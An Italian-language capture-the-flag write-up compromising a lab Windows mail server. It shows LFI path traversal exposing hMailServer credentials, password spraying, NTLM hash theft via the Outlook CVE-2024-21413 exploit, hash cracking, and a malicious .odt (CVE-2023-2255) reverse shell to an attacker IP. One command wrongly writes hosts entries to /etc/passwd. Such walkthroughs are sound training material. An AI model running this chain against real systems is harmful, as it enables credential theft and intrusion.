

```
└─$ nmap -sV -sC -A 10.10.11.14 -T5
```

Starting Nmap 7.94SVN (<https://nmap.org>) at 2024-07-20 14:19 CEST
Nmap scan report for 10.10.11.14

Host is up (0.058s latency).

Not shown: 990 filtered tcp ports (no-response)

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

25/tcp	open	smtp	hMailServer smtpd
smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP			
_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY			

80/tcp	open	http	Microsoft IIS httpd 10.0
_http-title: Did not follow redirect to http://mailing.htb			

110/tcp	open	pop3	hMailServer pop3d
_pop3-capabilities: UIDL TOP USER			

135/tcp	open	msrpc	Microsoft Windows RPC
---------	------	-------	-----------------------

139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
---------	------	-------------	-------------------------------

143/tcp	open	imap	hMailServer imapd
_imap-capabilities: IMAP4rev1 CHILDREN QUOTA CAPABILITY completed SORT			
RIGHTS=texkA0001 ACL IMAP4 IDLE OK NAMESPACE			

445/tcp	open	microsoft-ds?	
---------	------	---------------	--

465/tcp	open	ssl/smtp	hMailServer smtpd
_ssl-date: TLS randomness does not represent time			
smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP			
_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY			
ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing			
Ltd/stateOrProvinceName=EU\Spain/countryName=EU			
Not valid before: 2024-02-27T18:24:10			
_Not valid after: 2029-10-06T18:24:10			

587/tcp	open	smtp	hMailServer smtpd
smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP			
_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY			

993/tcp	open	ssl/imap	hMailServer imapd
_ssl-date: TLS randomness does not represent time			
ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing			
Ltd/stateOrProvinceName=EU\Spain/countryName=EU			
Not valid before: 2024-02-27T18:24:10			
_Not valid after: 2029-10-06T18:24:10			
_imap-capabilities: IMAP4rev1 CHILDREN QUOTA CAPABILITY completed SORT			
RIGHTS=texkA0001 ACL IMAP4 IDLE OK NAMESPACE			
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows			

5040/tcp	open	unknown	
5985/tcp	open	wsman	
7680/tcp	open	pando-pub	

```
49302/tcp open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
59320/tcp open  unknown
```

```
echo 10.10.11.14 mailing.htb >> /etc/passwd
echo 10.10.11.14 www.mailing.htb >> /etc/passwd
```

Ispezionando il sito leggiamo un file pdf e istruzioni per la configurazione del client di posta (l'utente maya sembra essere il target in quanto viene riportato che risponde alle email)

Il mail server è hmailserver

Mettiamo insieme una lista di utenti per formare anche delle email

Ruy Alonso
Maya Bendito
Gregory Smith

alonso@mailing.htb
maya@mailing.htb
gregory@mailing.htb

Approccio --> Invio di email con allegato / url per rubare hash ntlm. Il server mail richiede autenticazione. abbiamo bisogno di una coppia di credenziali

Analizzando la pagina per download notiamo che è vulnerabile a LFI

<http://www.mailing.htb/download.php?file=../download.php> <---- lfi. possiamo leggere i file sul disco

```
=====
download.php
```

```
<?php
if (isset($_GET['file'])) {
    $file = $_GET['file'];

    $file_path = 'C:/wwwroot/instructions/' . $file;  <-----
    if (file_exists($file_path)) {

        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment;
filename="'.basename($file_path).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
```

```

        header('Pragma: public');
        header('Content-Length: ' . filesize($file_path));
        echo(file_get_contents($file_path));
        exit;
    } else {
        echo "File not found.";
    }
} else {
    echo "No file specified for download.";
}
?>

```

proviamo a leggere la configurazione di hmailserver per trovare un account valido

```
../../../Program Files (x86)/hMailServer/Bin/hMailServer.INI
```

```

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7 <-----
homenetworkingadministrator
[Database]
Type=MSSQLCE <--- mssql ce
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c <----- to crack
PasswordEncryption=1
Port=0
Server=
Database=hMailServer <----
Internal=1

```

Prima di effettuare l'attacco con responder proviamo password spraying con la lista di utenti creata

```

crackmapexec smb 10.10.11.14 -u user.txt -p homenetworkingadministrator
crackmapexec winrm 10.10.11.14 -u user.txt -p homenetworkingadministrator

```

niente. procediamo a inviare l'email a maya@

```
sudo responder -I eth0
```

```

sendmail -f Administrator@mailing.htb -xu Administrator@mailing.htb -xp
homenetworkingadministrator -t maya@mailing.htb -u 'My first mail!' -s

```

```
mailing.htb -o message-content-type=html -m "Hey Maya!This is my first mail!  
Click on http://10.10.14.46:8081/file.hta"
```

Jul 20 15:28:15 kali sendemail[64489]: Email was sent successfully!

```
usiamo anche  
  

```

ma nessun effetto.

Proviamo a collegarci con thunderbird all'email dell'admin per cercare email salvate. niente.

=====

Tornando indietro e rileggendo la guida capiamo che sui client windows viene installato outlook.

<https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability.git>

<https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/blob/main/CVE-2024-21413.py>

```
python exploit.py --server mailing.htb --username Administrator@mailing.htb  
--password homenetworkingadministrator --sender Administrator@mailing.htb  
--recipient maya@mailing.htb --url '\\10.10.14.46\aa.jpg' --subject 'Urgent'
```

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de

☑ Email sent successfully.

otteniamo su responder l'hash net-ntlm

```
maya::MAILING:dac4fe0aec512cc8:0ABF7016C9D7428230E543395441DBCD:0101000000000000  
00EF6F99469EDA01293B5F358D9EF4DE0000000002000800540058005800340001001E0057004900  
4E002D00380038003200520041004E005000380044004500500004003400570049004E002D003800  
38003200520041004E00500038004400450050002E0054005800580034002E004C004F0043004100  
4C000300140054005800580034002E004C004F00430041004C000500140054005800580034002E00  
4C004F00430041004C000700080000EF6F99469EDA01060004000200000008003000300000000000  
0000000000000020000009BE5ABAC0CB766267616E7031B83C21B57E7A52A6903503167DE1974F23E  
1F3B0A0010000000000000000000000000000000000000000000000000000000000000000000  
2E00310030002E00310034002E0035000000000000000000000000000000000000000000000000
```

crack con john

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4y4ngs4ri      (maya)
```

usiamo evil winrm per accedere

```
evil-winrm -u mailing.htb\maya -i mailing.htb
```

=====

Codice che controlla le email e apre gli hyperlink

```
type mail.py
```

```
from pywinauto.application import Application
from pywinauto import Desktop
from pywinauto.keyboard import send_keys
from time import sleep

app = Application(backend="uia").connect(title_re="Inbox*")
dlg = app.top_window()
current_count = 0
remove = 2
while True:
    try:
        unread = dlg.InboxListBox
        items = unread.item_count()
        if items==1:
            sleep(20)
            continue
        if items != current_count:
            for i in range(1,items-current_count-(remove-1)):
                if "Yesterday" in unread.texts()[i][0]:
                    remove = 3
                    continue
                unread[i].select()
                message =
            dlg.child_window(auto_id="RootFocusControl",
            control_type="Document").Hyperlink.invoke()
                sleep(45)
                dlg.type_keys("{ENTER}")
                unread[i].select()
            current_count = items - remove
        sleep(20)
    except:
        pass
```

```
type mail.vbs
```

```
Set objShell = CreateObject("WScript.Shell")
objShell.Run "explorer
shell:AppsFolder\microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.win
dowslive.mail"
WScript.Sleep 5000
```

```
objShell.AppActivate "Mail"
WScript.Sleep 1000
```

```
objShell.SendKeys "{F5}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{TAB}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "^d"
WScript.Sleep 500
objShell.SendKeys "%{F4}"
```

```
=====
```

enumeriamo gruppi, permessi su file e processi, registro per credenziali, local exploit con msf

usiamo winpeas e powerup

```
PS C:\Users\localadmin\Documents\scripts> Get-ScheduledTask
Get-ScheduledTask
```

TaskPath	TaskName
State	
-----	-----

\	Mail
Disabled	
\	MailPython
Running	
\	MicrosoftEdgeUpdateTaskMachine...
Running	
\	MicrosoftEdgeUpdateTaskMachine...
Ready	
\	Test
Ready	

```
PS C:\Users\localadmin\Documents\scripts> Get-ScheduledTaskInfo -Taskname MailPython | Select *
```

```
Get-ScheduledTaskInfo -Taskname Mail -Verbose| Select *
```

```
LastRunTime           : 2024-07-20 5:35:35 PM
LastTaskResult        : 267009
NextRunTime           :
NumberOfMissedRuns    : 0
TaskName              : MailPython
TaskPath              :
PSComputerName        :
CimClass              :
Root/Microsoft/Windows/TaskScheduler:MSFT_TaskDynamicInfo
CimInstanceProperties : {LastRunTime, LastTaskResult, NextRunTime,
NumberOfMissedRuns...}
CimSystemProperties   : Microsoft.Management.Infrastructure.CimSystemProperties
```

```
*Evil-WinRM* PS C:\Users\maya\downloads> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
=====	=====	
SeChangeNotifyPrivilege	Omitir comprobaci�n de recorrido	
Enabled		
SeUndockPrivilege	Quitar equipo de la estaci�n de acoplamiento	
Enabled		
SeIncreaseWorkingSetPrivilege	Aumentar el espacio de trabajo de un proceso	
Enabled		
SeTimeZonePrivilege	Cambiar la zona horaria	
Enabled		

Net user

Administrador	DefaultAccount	Invitado
localadmin	maya	WDAGUtilityAccount

=====

c'  una cartella "important document" proviamo a metterci un documento
contenente una reverse shell

un utente con privilegi superiori potrebbe aprirlo. Presenza di libre Office

Directory: C:\Program files

Mode	LastWriteTime	Length	Name
d-----	2/27/2024 5:30 PM		Common Files
d-----	3/3/2024 4:40 PM		dotnet
d-----	3/3/2024 4:32 PM		Git
d-----	4/29/2024 6:54 PM		Internet Explorer
d-----	3/4/2024 6:57 PM		LibreOffice

<-----

Creiamo una reverse shell e posizioniamola sul target in c:\temp

dopodichè

<https://github.com/elweth-sec/CVE-2023-2255.git>

```
└─$ python CVE-2023-2255.py --cmd 'c:\temp\shell.exe'  
File output.odt has been created !
```

Mettiamo il file .odt in "Important Documents" in c:\

dopo qualche attimo

```
*] Started reverse TCP handler on 10.10.14.46:8082  
msf6 exploit(multi/handler) > [*] Sending stage (200774 bytes) to 10.10.11.14  
[*] Meterpreter session 4 opened (10.10.14.46:8082 -> 10.10.11.14:52683) at  
2024-07-20 18:44:17 +0200
```

```
C:\Program Files\LibreOffice\program>whoami  
whoami  
mailing\localadmin
```

=====

Script che apre i documenti odt

```
c:\Users\localadmin\Documents\scripts>type soffice.ps1
```

```
# Define the directory containing the .odt files  
$directory = "C:\Important Documents\"
```

```
# Get all .odt files in the directory  
$odtFiles = Get-ChildItem -Path $directory -Filter *.odt
```



```
# Loop through each .odt file
foreach ($file in $odtFiles) {
    # Start LibreOffice and open the current .odt file
    $fileName = $file.FullName
    Start-Process "C:\Program Files\LibreOffice\program\soffice.exe"
-ArgumentList "--headless --view --norestore", "`"$fileName`""

    # Wait for LibreOffice to fully open the document
    Start-Sleep -Seconds 5 # Adjust the delay as needed

    # Wait for the document to close
    Start-Sleep -Seconds 5 # Adjust the delay as needed

    Stop-Process -Name "soffice" -force

    # Delete the .odt file
    Remove-Item -Path $file.FullName -Force
}
```